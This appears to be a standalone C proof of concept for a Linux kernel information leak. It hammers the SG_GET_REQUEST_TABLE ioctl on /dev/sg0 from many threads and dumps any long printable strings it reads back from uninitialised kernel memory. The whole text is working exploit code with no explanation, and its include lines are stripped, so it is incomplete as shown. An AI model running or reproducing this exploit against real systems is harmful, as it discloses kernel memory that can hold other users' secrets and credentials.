#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include pthread_mutex_t out_mutex = PTHREAD_MUTEX_INITIALIZER; int min_strlen = 24; void dump_buf(unsigned char *buf, int len) { int i, nz = 0; for (i = 0; i < len; i++) { if (buf[i]) { nz = 1; break; } } if (!nz) { // The buffer is empty. return; } pthread_mutex_lock(&out_mutex); for (i = 0; i < len; i++) { if (buf[i]) { int str_len = strlen(&buf[i]); // Short string pieces are too boring. if (str_len >= min_strlen) { unsigned char *c; for (c = &buf[i]; c < &buf[i + str_len]; c++) { if ((*c > 127) || ((*c < 32) && (*c != 10) && (*c != 13))) { *c = ' '; continue; } } // Dump the buffer. fprintf(stderr, "'%s'\n", &buf[i]); } i += str_len; } } pthread_mutex_unlock(&out_mutex); } int dev; void *do_work(void *_) { void *mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); ioctl(dev, SG_GET_REQUEST_TABLE, mem); dump_buf(mem, sizeof(sg_req_info_t) * SG_MAX_QUEUE); munmap(mem, 0x1000); } #define NUM_THREADS 16 int main() { int i, j; pthread_t thr[NUM_THREADS]; dev = open("/dev/sg0", O_RDONLY); if (dev == -1) return 1; for (i = 0; i < 100000; i++) { for (j = 0; j < NUM_THREADS; j++) { pthread_create(&thr[j], NULL, do_work, NULL); } for (j = 0; j < NUM_THREADS; j++) { pthread_join(thr[j], NULL); } } return 0; }